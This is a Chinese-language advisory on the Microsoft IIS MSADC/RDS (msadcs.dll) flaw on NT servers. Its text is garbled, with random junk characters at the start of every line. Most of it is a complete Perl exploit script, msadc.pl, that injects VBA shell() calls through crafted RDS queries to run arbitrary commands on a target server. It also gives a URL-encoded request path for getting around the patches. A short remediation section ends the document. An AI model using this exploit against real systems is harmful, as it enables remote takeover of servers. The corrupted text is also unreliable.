IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
|oi49:NXn 2Xs < 1rF 涉及程序:
0bL=l0N$W Microsoft NT server
<=2*UD | k*6eZ 7 描述:
N$\5% 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Wv/5#_ ea}KxLC`, 详细:
;|1P1H-W~M 如果你没有时间读详细内容的话,就删除:
r_Yl/WW c:\Program Files\Common Files\System\Msadc\msadcs.dll
/,%o<Ql9 有关的安全问题就没有了。
~e~Mx=FT0 z:jF)N 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
X.Y)'qSf 8/$iCW 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
P2RL\`<" 关于利用ODBC远程漏洞的描述,请参看:
gm$MEeC I2!HXMrp http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7TY"{?~O5 #l%
\}OC 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
ouZ9oy(}a http://www.microsoft.com/security/bulletins/MS99-025faq.asp %9)J-B %D0Ws9:| 这里不再论述。
$K6`Q4` P>Rqy 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
M
+q7h+HP 0nnq/u^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
JT ^0AZ_* 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
LbI])M 1Nu`@)D0 (uz!:dkvx #将下面这段保存为txt文件,然后: "perl -x 文件名"
CPM6T$_qE 3?CpylCO #!perl
R}<s~` Pl #
HD|)D5wH| # MSADC/RDS 'usage' (aka exploit) script
4c@F.I #
'E8Qi'g # by rain.forest.puppy
X_8NW, #
6x8|v7cMH # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
%4K#<b"W # beta test and find errors!
d/QM iPYlTV use Socket; use Getopt::Std;
l Nt o9 getopts("e:vd:h:XR", \%args);
L<]PK4 e2ZUl` {g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
D|#(zjl@
&g>+tkC if (!defined $args{h} && !defined $args{R}) {
qiJ{X{lI print qq~
8?pZZtad Usage: msadc.pl -h <host> { -d <delay> -X -v }
hIr^"kVK -h <host> = host you want to scan (ip or domain)
~Nh7C b_ -d <seconds> = delay between calls, default 1 second
o-Arfc3Q -X = dump Index Server path table, if available
;H|M)z#[Z -v = verbose
zz*[JIe -e = external dictionary file for step 5
q8]k]:r #TF Or a -R will resume a command session
D$
z!wV C}E
ea~ ~; exit;}
%z(=GcWm X/7 49"23 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
7s3<} if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Nuq/_x if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
XL9lB#v^ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
a8$pc>2E $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
7J/3O[2 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
A*;h}\n aX:$Q
}S if (!defined $args{R}){ $ret = &has_msadc;
6*
w;xf die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
_
RT}Ee}Y [wYQP6Cyy print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Z`MQ+ . "cmd /c ";
'J$NW $in=<STDIN>; chomp $in;
cXH?'q'vZ $command="cmd /c " . $in ;
wyM3|%RZ d<e.`dhc if (defined $args{R}) {&load; exit;}
/Vc!N)
D~>P/b)v{j print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
JwcP[w2 &try_btcustmr;
!1R <{uIB;P print "\nStep 2: Trying to make our own DSN...";
YdaJ& &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Vtri"G8 aB (#k#0T kE print "\nStep 3: Trying known DSNs...";
Pw{+7b$ &known_dsn;
nfB9M1Svn hiuPvi} print "\nStep 4: Trying known .mdbs...";
w+H=Xh4t &known_mdb;
f;a6ux# U5=J;[w}N if (defined $args{e}){
Ccmbdw,Z5 print "\nStep 5: Trying dictionary of DSN names...";
$<PVzW,$o &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
\ S R >O=V1 print "Sorry Charley...maybe next time?\n";
2[eY q1f! exit;
:{2$X|f
3 x]T;W&s ##############################################################################
u{ /gjv SYx)!n6U sub sendraw { # ripped and modded from whisker
1<5yG7SZ sleep($delay); # it's a DoS on the server! At least on mine...
0}N^l=jQ my ($pstr)=@_;
Fsh-a7Qp socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
plAt
+*& die("Socket problems\n");
cPSu!u}D if(connect(S,pack "SnA4x8",2,80,$target)){
EbHeP select(S); $|=1;
2$ =HDwv print $pstr; my @in=<S>;
HDOa N select(STDOUT); close(S);
In2D32"F return @in;
,zaveQ~l } else { die("Can't connect...\n"); }}
B%/Pn
2 \Qn8"I83AV ##############################################################################
k@'.d)y0` MiRB*eA sub make_header { # make the HTTP request
lvlH5Fc my $msadc=<<EOT
%iv'/B8 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
wd *Jq User-Agent: ACTIVEDATA
E3qX$|.$/ Host: $ip
~MX@-Ff Content-Length: $clen
^y,ip=<5\3 Connection: Keep-Alive
3ssio-X p"Y= ADCClientVersion:01.06
T}* '9TB Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
hV)I
C9 MRc^lYj{
--!ADM!ROX!YOUR!WORLD!
19 _F\32 Content-Type: application/x-varg
5YasD6l Content-Length: $reqlen
zD'gGxM1 j06DP _9M EOT
?}.(k/ ; $msadc=~s/\n/\r\n/g;
{U9jA_XX return $msadc;}
Df9}YI;? -~g3?!+Hb ##############################################################################
;DTNw= <Jx{Uv sub make_req { # make the RDS request
"O`;zC my ($switch, $p1, $p2)=@_;
?W(f%/B# my $req=""; my $t1, $t2, $query, $dsn;
c=gUY~Rl EMo6$( if ($switch==1){ # this is the btcustmr.mdb query
"M
tQj} $query="Select * from Customers where City=" . make_shell();
>*MB_m2| $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
6dh PqL $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Velmq'n foeVjL:T elsif ($switch==2){ # this is general make table query
1 /`>Eh $query="create table AZZ (B int, C varchar(10))";
Dcf`+?3 $dsn="$p1";}
[Zf<r1m Jc+U$h4 elsif ($switch==3){ # this is general exploit table query
3^\y> $query="select * from AZZ where C=" . make_shell();
Y'P8 `$ $dsn="$p1";}
{BF\G%v;+ S.z ;Bm elsif ($switch==4){ # attempt to hork file info from index server
7)T+!> $query="select path from scope()";
b#M<b.R) $dsn="Provider=MSIDXS;";}
*QVE>{ \r2w@F{C elsif ($switch==5){ # bad query
T]xGE $query="select";
=% p"oj]: $dsn="$p1";}
M\%{!Wzo8 ocMf}" $t1= make_unicode($query);
,#A,+!4 $t2= make_unicode($dsn);
>h9U~#G= $req = "\x02\x00\x03\x00";
tv0xfAV $req.= "\x08\x00" . pack ("S1", length($t1));
g 0L 4 $req.= "\x00\x00" . $t1 ;
)q,}jeM8 $req.= "\x08\x00" . pack ("S1", length($t2));
sM-*[Q=_ $req.= "\x00\x00" . $t2 ;
MG6Tk(3S $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\yqiv"' return $req;}
;Cwn1N9S >@X=E3 ##############################################################################
1;h>^NOq l@Ki`if sub make_shell { # this makes the shell() statement
YW5E
| z return "'|shell(\"$command\")|'";}
/X?Nv^Hy Pzqgg43Xf ##############################################################################
Z`W.(gua ;KhYh S(q sub make_unicode { # quick little function to convert to unicode
-nW{$&5AF my ($in)=@_; my $out;
.q=X58tHu for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
mH?hzxa+ return $out;}
xU&rUk/L @ZVc!5J_, ##############################################################################
17 GyE=Uu Xk3Ufz]QN sub rdo_success { # checks for RDO return success (this is kludge)
1Nz\3]- my (@in) = @_; my $base=content_start(@in);
..!yf e"5 if($in[$base]=~/multipart\/mixed/){
?z6C8T~+ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
]8^2(^3ct return 0;}
XEuv
aM Vf@/}=X * ##############################################################################
Zwcb5\Q ovl@[>OB sub make_dsn { # this makes a DSN for us
l20q(lb my @drives=("c","d","e","f");
o^ 4+eE print "\nMaking DSN: ";
*n47.(a2i foreach $drive (@drives) {
97g\nq< print "$drive: ";
'fB `e]_ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
dcA0k "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
IoX(Pa . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
L/ZZe5I $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
qHj4`& return 0 if $2 eq "404"; # not found/doesn't exist
Ut%ie=c if($2 eq "200") {
WRgz]=W3w foreach $line (@results) {
_w26iCnB{ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
RHxd6Gs" } return 0;}
1~*_H_Q't r}991O< ##############################################################################
sqy5rug %6n;B|! sub verify_exists {
pp:+SoyN my ($page)=@_;
L+u_153 my @results=sendraw("GET $page HTTP/1.0\n\n");
#y?z2! return $results[0];}
"[%NXan ZpdM[\Q- ##############################################################################
=}L[/ RL ~2qFA2 sub try_btcustmr {
!>+
0/ my @drives=("c","d","e","f");
e0qa~5 my @dirs=("winnt","winnt35","winnt351","win","windows");
:sn}D~ `SVR_ foreach $dir (@dirs) {
/v8qT'$^ print "$dir -> "; # fun status so you can see progress
[:o#d`^ foreach $drive (@drives) {
~5|a9HV: print "$drive: "; # ditto
^mGT ZxO $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_V;J7Vz $reqlenlen=length( "$reqlen" );
Pg:Nz@CQ $clen= 206 + $reqlenlen + $reqlen;
eY-$hnUe u0x\5!?2 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
i"b*U5k if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Y8d%L;b[D else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
YONg1.^!( JmBYD[h, ##############################################################################
kN_LD- h$k(|/+ sub odbc_error {
T7,tJk,( my (@in)=@_; my $base;
j_{gk"2:d` my $base = content_start(@in);
u]}Xq{ZN if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
W=DQ6. $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
MDlCU $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
> ):b AfI $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R38
w!6{ return $in[$base+4].$in[$base+5].$in[$base+6];}
l})uYae/ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
n;MoMGnPh, print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
a5)+5 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
2q#$?qs_b Ft]sTA+C ##############################################################################
%jkd}D | zA ey\ sub verbose {
cB<Zez my ($in)=@_;
gt
?&!S^ return if !$verbose;
T.xW|Iwx print STDOUT "\n$in\n";}
.OjJK? :S%|^QAN ##############################################################################
|k^X!C 0 3B_S>0H"$ sub save {
&K7g8x"x. my ($p1, $p2, $p3, $p4)=@_;
Lt*H|9 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Ah"RxA print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
j/W#=\xz close OUT;}
f(3#5288 2Zl65 ##############################################################################
!~RD>N&n wU=(_S,c sub load {
aH:eu<s my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ji7A9Hk open(IN,"<rds.save") || die("Couldn't open rds.save\n");
%~eZrG. @p=<IN>; close(IN);
CocvEoE*z $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
B}3s=+L@8 $target= inet_aton($ip) || die("inet_aton problems");
@}[)uH print "Resuming to $ip ...";
{!,+C0 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
='mqfGRi> if($p[1]==1) {
&
z?y $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
u-? &~WA $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
3(CUC my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
X4o8 if (rdo_success(@results)){print "Success!\n";}
<uAqb Wu else { print "failed\n"; verbose(odbc_error(@results));}}
T"2ye9a elsif ($p[1]==3){
0!^{V:DtQ if(run_query("$p[3]")){
20J:_+=] print "Success!\n";} else { print "failed\n"; }}
`aC#s3[ elsif ($p[1]==4){
4iKT if(run_query($drvst . "$p[3]")){
wOOPuCw? print "Success!\n"; } else { print "failed\n"; }}
kt@+UK." exit;}
t%/5$<!b yeW|Ux: ##############################################################################
"c}bqoN >- :U sub create_table {
HO wJ2L my ($in)=@_;
gs. K,x ma $reqlen=length( make_req(2,$in,"") ) - 28;
Hj5b.fB $reqlenlen=length( "$reqlen" );
5Po.&eS $clen= 206 + $reqlenlen + $reqlen;
wp@c;gK7 my @results=sendraw(make_header() . make_req(2,$in,""));
t!K|3>w return 1 if rdo_success(@results);
<=0_[M my $temp= odbc_error(@results); verbose($temp);
?1[go+56X return 1 if $temp=~/Table 'AZZ' already exists/;
c xX return 0;}
DO0["O74 'SuYNA) ##############################################################################
1sgoT f% &)wQ|{P~k sub known_dsn {
I5-/KVWb # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Kr9 @ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
q'W`t>2T "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
{i=qx#2X?H "banner", "banners", "ads", "ADCDemo", "ADCTest");
`a<G7 ov|s5yH8e foreach $dSn (@dsns) {
7%o\O{,U print ".";
WjA)0HL( next if (!is_access("DSN=$dSn"));
b]J_R"} if(create_table("DSN=$dSn")){
&"d4J?io` print "$dSn successful\n";
v!W,h2:J if(run_query("DSN=$dSn")){
)`L!eN print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Z3I< print "Something's borked. Use verbose next time\n";}}} print "\n";}
ArF+9upGY HC$_p,9OV ##############################################################################
LNr2YRpyz nc`[f y|} sub is_access {
`OBDx ^6F my ($in)=@_;
<8H`y(S $reqlen=length( make_req(5,$in,"") ) - 28;
[ jafPi(#g $reqlenlen=length( "$reqlen" );
c|I{U[(U $clen= 206 + $reqlenlen + $reqlen;
:FK(*BUh my @results=sendraw(make_header() . make_req(5,$in,""));
V+E2nJ my $temp= odbc_error(@results);
oW-luC+ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
hLBX,r)u return 0;}
}|x]8zL8G 6 Iup4sP ##############################################################################
d,$[633It} Vls*fY:W sub run_query {
Um*{~=;u my ($in)=@_;
@O4m-Oosi $reqlen=length( make_req(3,$in,"") ) - 28;
/Cwt4.5 $reqlenlen=length( "$reqlen" );
>bmL;)mc& $clen= 206 + $reqlenlen + $reqlen;
l_$~~z ~ my @results=sendraw(make_header() . make_req(3,$in,""));
(/Nw return 1 if rdo_success(@results);
T8ZsuKio] my $temp= odbc_error(@results); verbose($temp);
K+n6.BzW return 0;}
f\Pd#$3 Mj[v _&N ##############################################################################
tdEu4)6 '?q|7[SU sub known_mdb {
Yj;$hV8j( my @drives=("c","d","e","f","g");
G`w7dn;& my @dirs=("winnt","winnt35","winnt351","win","windows");
Tl 9_Wi my $dir, $drive, $mdb;
{Rbc my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>\MV/!W ;o#dmG # this is sparse, because I don't know of many
R$v{ p[ my @sysmdbs=( "\\catroot\\icatalog.mdb",
GXa-g-d "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
[<bfwTFsl "\\system32\\certmdb.mdb",
8sE@?, "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
uGgR@+7?Z HSyohP8 7 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
84|Hn|4t "\\cfusion\\cfapps\\forums\\forums_.mdb",
D
@T,j4o "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
qc@CV: "\\cfusion\\cfapps\\security\\realm_.mdb",
sgFpZk "\\cfusion\\cfapps\\security\\data\\realm.mdb",
?e yo2:-$ "\\cfusion\\database\\cfexamples.mdb",
5q"
;R$+j "\\cfusion\\database\\cfsnippets.mdb",
:0V <
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
o^gqpQv "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
yl)}1DPP "\\cfusion\\brighttiger\\database\\cleam.mdb",
~,dj)x
3M "\\cfusion\\database\\smpolicy.mdb",
IaN|S|n~ "\\cfusion\\database\cypress.mdb",
C
<]rY "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
0;o`7f "\\website\\cgi-win\\dbsample.mdb",
H<"{wUPT0 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
eBG7]u,Q "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
O+c@B}[! ); #these are just
iv\?TAZC foreach $drive (@drives) {
{cC9
}w foreach $dir (@dirs){
.~C*7_ foreach $mdb (@sysmdbs) {
c7S<ex, print ".";
f |aO9w if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
/ [:@j+n\ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^-mz!{
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
T|r@:t[ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
X8F _Mb* } else { print "Something's borked. Use verbose next time\n"; }}}}}
`[7&tOvSk /1t(e._ foreach $drive (@drives) {
6i, d| foreach $mdb (@mdbs) {
0l{').!_ print ".";
;PGC9v%i if(create_table($drv . $drive . $dir . $mdb)){
F5:4 B]ZF print "\n" . $drive . $dir . $mdb . " successful\n";
iC$~v#2 if(run_query($drv . $drive . $dir . $mdb)){
V/<dHOfR\ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
F<
Qjoaz } else { print "Something's borked. Use verbose next time\n"; }}}}
g,mcxXO }
wbVM'E/& 61b,+'- ##############################################################################
MiAXbo#\ NC|&7qQ sub hork_idx {
5fM/y3QPsZ print "\nAttempting to dump Index Server tables...\n";
X 1^f0\k print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
]MRE^Je\h $reqlen=length( make_req(4,"","") ) - 28;
8K7zh.E $reqlenlen=length( "$reqlen" );
$]!uX& $clen= 206 + $reqlenlen + $reqlen;
'GS1"rkW<5 my @results=sendraw2(make_header() . make_req(4,"",""));
A\k@9w\Ll; if (rdo_success(@results)){
DBbmM*r my $max=@results; my $c; my %d;
-Z)$].~|t for($c=19; $c<$max; $c++){
0g~WM $results[$c]=~s/\x00//g;
^=}~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
E.t9F3 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
{ SJ=|L6 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
AZxOq !B $d{"$1$2"}="";}
{PWz:\oaD foreach $c (keys %d){ print "$c\n"; }
pNCk~OM } else {print "Index server doesn't seem to be installed.\n"; }}
!JJCG _ i.CvYe ##############################################################################
|s[m;Qm[ku kfM}j sub dsn_dict {
-9\O$ I-3 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
9T`xW]Zf while(<IN>){
'P39^rb $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
q$0^U{j/ next if (!is_access("DSN=$dSn"));
6t<~. 2' if(create_table("DSN=$dSn")){
Ilsh
Jo print "$dSn successful\n";
,b KA]#(2 if(run_query("DSN=$dSn")){
:$j!e#?= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%t`a-m print "Something's borked. Use verbose next time\n";}}}
hQ#'_%:
print "\n"; close(IN);}
m>jX4D7KZ {.DI[@.g ##############################################################################
Xo;J1H _LxV) sub sendraw2 { # ripped and modded from whisker
Yk6fr~b sleep($delay); # it's a DoS on the server! At least on mine...
-|:7<$2#I my ($pstr)=@_;
<~<I K=n socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
X_!Sm die("Socket problems\n");
;xXHSxa:=W if(connect(S,pack "SnA4x8",2,80,$target)){
ko>SnE|w# print "Connected. Getting data";
2p8JqZMQb open(OUT,">raw.out"); my @in;
L5]*ZCDv select(S); $|=1; print $pstr;
6P3ezl@#; while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
u'<Y#bsR#/ close(OUT); select(STDOUT); close(S); return @in;
to(OVg7_ } else { die("Can't connect...\n"); }}
Zj[Bm\8 Wi'BX#xCB ##############################################################################
+g@@|&B WB"$NYB sub content_start { # this will take in the server headers
tlA4oVII my (@in)=@_; my $c;
sbQmPV for ($c=1;$c<500;$c++) {
RT F9;]Ti if($in[$c] =~/^\x0d\x0a/){
;_%61ZI?M< if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
/px*v<Aw1 else { return $c+1; }}}
Yono8M;9* return -1;} # it should never get here actually
7Z93`A-= 6 7~m9pk ##############################################################################
[yf2_{*0T 0@.$(Aqo( sub funky {
)jn|+M my (@in)=@_; my $error=odbc_error(@in);
v'2EYTVNJD if($error=~/ADO could not find the specified provider/){
`[C8iF*Y" print "\nServer returned an ADO miscofiguration message\nAborting.\n";
AFc#2wn exit;}
W#8qhmt if($error=~/A Handler is required/){
L/c$p`- print "\nServer has custom handler filters (they most likely are patched)\n";
q;}^Jpb; exit;}
t&ztY]
qh if($error=~/specified Handler has denied Access/){
7'xT)~*$4 print "\nServer has custom handler filters (they most likely are patched)\n";
7"Zr:|$U exit;}}
O HR9u ~i=/@;wRp ##############################################################################
Q{0-pHr}
N_=7 sub has_msadc {
F
C2oP, my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Q4Hf!v]r my $base=content_start(@results);
@R9 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
0v,DQJ?w8 return 0;}
`Btdp:j8i ^>72<1U% ########################
(b GiBsb .1t$(]CyC G$xuHHZ' 解决方案:
i('z~ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
a+{YTR>0m 2、移除web 目录: /msadc